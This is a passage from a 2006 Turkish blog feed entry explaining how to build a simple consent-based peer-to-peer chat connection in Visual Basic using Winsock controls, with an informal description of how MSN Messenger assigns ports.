winsock umuz (index li) bu winsock umuza tıklayarak index özelliğine bir 0 yazıyoruz. Daha sonra bir adet daha winsock ekliyoruz. Ben kendim yaparken bu winsock un ismini tepki olarak değiştirdim. Bunları ekledik şimdi ne işe yarıyacağından söz edeceğim.&lt;br /&gt;&lt;br /&gt;Tepki olarak adlandırdığım Winsock nesnesi sürekli dinleme modunda olacak yani Winsock nesnesinde hata veya herhangi bir nedenden dolayı winsock dinleme modundan çıktığı zaman tekrar dinleme moduna girmesi lazım. Daha sonradan birisi bizden bilgisarımızla iletişim kurmak üzere bağlandığı zaman direk tepki isimli winsock ile iletişim kursun ve bize listemize eklemek isteyip istemediğimizi sorsun. Yani şöyle diyebiliriz MSN messenger kullanan arkadaşlarım bilir biri bizle iletişim kurmaya çalıştığı zaman önce bize onay ile ilgili bir pencere gelir onaylıyorsak o kişi ile başka bir bağlantı kurulur.&lt;br /&gt;&lt;br /&gt;MSN messengerin mantığı tamamen şudur.&lt;br /&gt;&lt;br /&gt;Onaylama için başka bir bağlantı nesnesi görevlidir. Ve bu bağlantı nesnesinin adresi sabittir. Yani şöyleki sizin her msn listenizdeki bir kişi için bir winsock görevlendirilmiş ve bu winsock nesnesi o kişi ile sabit orantılı. Siz oturum açmaya kalktığınız zaman otamatik olarak sizin ip adresiniz ve boş olan port numaranız MSN messenger in kurulu olduğu ana server a bildiriliyor. Ve listelerinizdeki kişilerin size bağlanma ip leri ve portları otamatik olarak değişiyor. Şimdi bazı arkadaşlarımız diyecek bunu nasıl bu kadar çabuk yapıyor ?  Aslında çabukluktan ziyade şu eğer farkeden arkadaşlarımız varsa msn e bağlandıktan sonra msn yaklaşık 5 saniye veya bazılarına göre bu 7 8 saniye sürecinde bir bekliyor işte bu bekleme süresinde MSN ip ve port adresini otamatik olarak diğer yerlere dağatım yapıyor. Arkadaşlar MSN in çalışma mantığı tamamen bu.&lt;br /&gt;&lt;br /&gt;Şimdi ise bizim kendi projemize dönelim.&lt;br /&gt;&lt;br /&gt;- Bizim mantığımız daha başka bir süreç içinde çalışacak fakat MSN ’ e yakın bir mantık kullanacağız.&lt;br /&gt;Şimdi Bağlantı ile görevli (0) indexli winsock umuz bizim sabit. Neden sabit diye soracak olrsanız biz bu (0) indexli winsock umuz ile Tepki nesnesi arasında istek için bağlantı kuracağız.&lt;br /&gt;&lt;br /&gt;Evet daha sonra istek için (0) index li winsock umuz devreye giriyor. Arkadaşımızın ağ ismi veya ip adresi ile istek gönderiyoruz. Yanlız şunu belirteyim winsock(0) ile tepki isimli winsock umuz aynı Port adresi üzerinden birbirlerine bağlanacaktır. Bu yüzden sakın winsock(0) ile tepki isimli winsock nesnesinin Port numaralarını farklı yapmayın.&lt;br /&gt;&lt;br /&gt;Şimdi winsock(0)’a istek bağlantısı için yazacağımız kod şöyle :&lt;br /&gt;&lt;br /&gt;Winsock(0).Connect ip_adresi,port_numarasi&lt;br /&gt;&lt;br /&gt;Daha sonra karşı tarafın tepki isimli winsock nesnesi aktif hale geliyor onun Connection Request olayına da şu kodu yazacağız.&lt;br /&gt;&lt;br /&gt;cevap = Msgbox "Karşı taraf bağlanmak için onay istiyor. Onaylıyormusunuz ?",vbyesno&lt;br /&gt;if cevap=vbyes then tepki.accept requestID&lt;br /&gt;&lt;br /&gt;eğer cevap a dönen değer vbyes (yani evetse) bağlantı sağlanacak eğer değilse bağlantı onaylanmayacak.&lt;br /&gt;&lt;br /&gt;Sonra tepki nesnesi burda görevini başka bir winsock a devir yapacak bu işlem çok basit olacak. Bağlantı tamamlandığı takdirde yani tepki isimli winsock’un Connect olayına veri gönderme yöntemi ile IP ve onun için ayırdığınız özel port numarasını göndereceksiniz.&lt;br /&gt;&lt;br /&gt;Daha sonra hemen program yeni bir Winsock üretecek ve karşı tarafa gönderdiği port numarasını yeni açtığı winsock ile eşdeğer yaparak winsock nesnesini dinlemeye alacak. Daha sonra karşı tarafın yapacağı tek işe ise gönderilen ip ve port numarası ile port açılan bilgisayara bağlanacak. Yalnız karşı taraf yeni bir winsock açtı aynı şekilde siz de yeni bir winsock açıp onu bağlanma için denemeye başlatacaksınız. Bağlandığı zamansa artık gerisi sizin işlem becerinize kalmış ister her kişi için veri tabanınızda kayıt turarak her seferinde ip adresi girmek yerine veri tabanınıza kaydettiğiniz bilgiler doğrultusunda bağlanmaya çalışabilirsiniz.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/35317581-115965847222734861?l=sanalarsiv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://sanalarsiv.blogspot.com/feeds/115965847222734861/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=35317581&amp;postID=115965847222734861' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115965847222734861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/35317581/posts/default/115965847222734861'/><link rel='alternate' type='text/html' href='http://sanalarsiv.blogspot.com/2006/09/vbasic-ve-winsock-nesnesi-ag.html' title='VBasic ve Winsock Nesnesi (ag)'/><author><name>yonetici</name><uri>http://www.blogger.com/profile/01829750859514560472</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
